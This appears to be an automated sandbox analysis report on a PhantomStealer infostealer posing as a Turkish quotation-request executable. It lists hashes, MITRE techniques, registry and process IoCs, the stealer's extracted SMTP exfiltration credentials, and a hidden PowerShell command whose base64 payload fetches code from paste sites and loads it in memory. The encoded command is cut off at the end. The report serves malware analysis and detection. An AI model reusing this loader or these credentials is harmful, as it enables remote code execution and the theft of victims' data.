phantom_stealer | 99c04e506e0bfa4ca0bbd3aa52020a7274c036769e95fa34573eb24e88530313

Analysis

max time kernel
149s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/03/2026, 06:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fiyat Teklifi Talebi Rfq083891_Tekstil Madencilik Ticaret ve Sanayi Anonim Şirketi.exe
Size 23KB
Sample260331-hld2lsax9t
SHA256 99c04e506e0bfa4ca0bbd3aa52020a7274c036769e95fa34573eb24e88530313
MD5 67fc8ad42d5a539471a6070dda1e4828
SHA1 bceeab3e2a5a89f7f1b7bf9770c5f528e855acf7
SHA512 a25123eab0bb16317e9ddd9604e5de8296a947b277c0216e206ce060d8b16d11727e3f286271bf69e7b73f4364b5b56a4d3d85def1175d45f133e35df7aab3b6
SSDEEP 384:vz57Ngy0RmSJ4b1Pk5YS0CKmos0VzN7GOqHymZh7/ac5UqoQE4vaG5LCMThNH4qt:vz57Ngy0RbKbF7S0U/0VBDUH+qoYv4sy
TLSH
T17BB2953DC6E5ACC0C7AF12F074AFBBC502AAE717BD2B4B6CB4C814461E60654AB74748
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.izlen.net
Port
587
Username
[email protected]
Password
w5&Esp72

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
mail.izlen.net
Port
587
Username
[email protected]
Password
w5&Esp72
Email to
[email protected]

Mutex

EL1M1CEHBHND4BTV0DHH

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral2/memory/5796-41-0x00000000000B0000-0x000000000017C000-memory.dmp	family_phantomstealer
behavioral2/memory/5796-44-0x00000000000B0000-0x000000000016E000-memory.dmp	family_phantomstealer

PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer
Phantom_stealer family
phantom_stealer

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4316	powershell.exe
3	4316	powershell.exe
4	5712	powershell.exe
5	5712	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4316	powershell.exe
5712	powershell.exe
5128	powershell.exe
4736	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\SbbafmASbe = "C:\\ProgramData\\MVP.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Agdloljcbe = "C:\\ProgramData\\MVP.bat"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	icanhazip.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4316 set thread context of 5796	4316	powershell.exe	88
PID 5712 set thread context of 2176	5712	powershell.exe	101

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5944	chrome.exe
4748	chrome.exe
2220	msedge.exe
5684	msedge.exe

Checks processor information in registry 2 TTPs 38 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5128	powershell.exe
5128	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4736	powershell.exe
4736	powershell.exe
5712	powershell.exe
5712	powershell.exe
5712	powershell.exe
5712	powershell.exe
5796	RegAsm.exe
5796	RegAsm.exe
3212	chrome.exe
3212	chrome.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
664	firefox.exe
664	firefox.exe
5796	RegAsm.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe
5796	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	5128	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeDebugPrivilege	5796	RegAsm.exe
Token: SeShutdownPrivilege	3212	chrome.exe
Token: SeCreatePagefilePrivilege	3212	chrome.exe
Token: SeDebugPrivilege	2176	RegAsm.exe
Token: SeShutdownPrivilege	3212	chrome.exe
Token: SeCreatePagefilePrivilege	3212	chrome.exe
Token: SeShutdownPrivilege	4336	chrome.exe
Token: SeCreatePagefilePrivilege	4336	chrome.exe
Token: SeShutdownPrivilege	4336	chrome.exe
Token: SeCreatePagefilePrivilege	4336	chrome.exe

Suspicious use of FindShellTrayWindow 22 IoCs

pid	Process
3212	chrome.exe
3212	chrome.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
664	firefox.exe
5296	msedge.exe
1864	msedge.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
1932	firefox.exe
4336	chrome.exe
4336	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
664	firefox.exe
1932	firefox.exe
5796	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 3116	3180	Fiyat Teklifi Talebi Rfq083891_Tekstil Madencilik Ticaret ve Sanayi Anonim Şirketi.exe	79
PID 3116 wrote to memory of 5128	3116	cmd.exe	81
PID 5128 wrote to memory of 4316	5128	powershell.exe	82
PID 4736 wrote to memory of 5712	4736	powershell.exe	86
PID 4316 wrote to memory of 5796	4316	powershell.exe	88
PID 4316 wrote to memory of 5796	4316	powershell.exe	88
PID 4316 wrote to memory of 5796	4316	powershell.exe	88
PID 4316 wrote to memory of 5796	4316	powershell.exe	88
PID 4316 wrote to memory of 5796	4316	powershell.exe	88
PID 5796 wrote to memory of 3212	5796	RegAsm.exe	90
PID 3212 wrote to memory of 1960	3212	chrome.exe	91
PID 3212 wrote to memory of 5452	3212	chrome.exe	92
PID 3212 wrote to memory of 4748	3212	chrome.exe	93
PID 3212 wrote to memory of 1552	3212	chrome.exe	94
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 3212 wrote to memory of 5916	3212	chrome.exe	95
PID 3212 wrote to memory of 2532	3212	chrome.exe	96
PID 3212 wrote to memory of 3404	3212	chrome.exe	97
PID 3212 wrote to memory of 1120	3212	chrome.exe	98
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 3212 wrote to memory of 5456	3212	chrome.exe	99
PID 5796 wrote to memory of 5452	5796	RegAsm.exe	92
PID 5796 wrote to memory of 5452	5796	RegAsm.exe	92
PID 5796 wrote to memory of 3212	5796	RegAsm.exe	90
PID 5796 wrote to memory of 3212	5796	RegAsm.exe	90
PID 3212 wrote to memory of 416	3212	chrome.exe	100
PID 5796 wrote to memory of 4748	5796	RegAsm.exe	93
PID 5796 wrote to memory of 4748	5796	RegAsm.exe	93
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 5796 wrote to memory of 2532	5796	RegAsm.exe	96
PID 5796 wrote to memory of 2532	5796	RegAsm.exe	96
PID 5712 wrote to memory of 2176	5712	powershell.exe	101
PID 5712 wrote to memory of 2176	5712	powershell.exe	101
PID 5712 wrote to memory of 2176	5712	powershell.exe	101
PID 5712 wrote to memory of 2176	5712	powershell.exe	101
PID 5712 wrote to memory of 2176	5712	powershell.exe	101
PID 5796 wrote to memory of 1120	5796	RegAsm.exe	98
PID 5796 wrote to memory of 1120	5796	RegAsm.exe	98
PID 5796 wrote to memory of 5452	5796	RegAsm.exe	92
PID 5796 wrote to memory of 5452	5796	RegAsm.exe	92
PID 5796 wrote to memory of 416	5796	RegAsm.exe	100
PID 5796 wrote to memory of 416	5796	RegAsm.exe	100
PID 5796 wrote to memory of 3212	5796	RegAsm.exe	90
PID 5796 wrote to memory of 3212	5796	RegAsm.exe	90
PID 5796 wrote to memory of 3404	5796	RegAsm.exe	97
PID 5796 wrote to memory of 3404	5796	RegAsm.exe	97
PID 5796 wrote to memory of 5456	5796	RegAsm.exe	99
PID 5796 wrote to memory of 5456	5796	RegAsm.exe	99
PID 5796 wrote to memory of 4748	5796	RegAsm.exe	93
PID 3212 wrote to memory of 4468	3212	chrome.exe	102
PID 5796 wrote to memory of 4748	5796	RegAsm.exe	93
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 5796 wrote to memory of 1960	5796	RegAsm.exe	91
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 5796 wrote to memory of 1552	5796	RegAsm.exe	94
PID 5796 wrote to memory of 2532	5796	RegAsm.exe	96
PID 5796 wrote to memory of 2532	5796	RegAsm.exe	96
PID 5796 wrote to memory of 1120	5796	RegAsm.exe	98
PID 5796 wrote to memory of 1120	5796	RegAsm.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\Fiyat Teklifi Talebi Rfq083891_Tekstil Madencilik Ticaret ve Sanayi Anonim Şirketi.exe
"C:\Users\Admin\AppData\Local\Temp\Fiyat Teklifi Talebi Rfq083891_Tekstil Madencilik Ticaret ve Sanayi Anonim Şirketi.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\31cef7da-74eb-4214-9c76-c46a49cd5218.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAZABwAGEAcwB0AGUALgBjAG8AbQAvADMAVgBZADYAOQBSAFkANwBKAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAH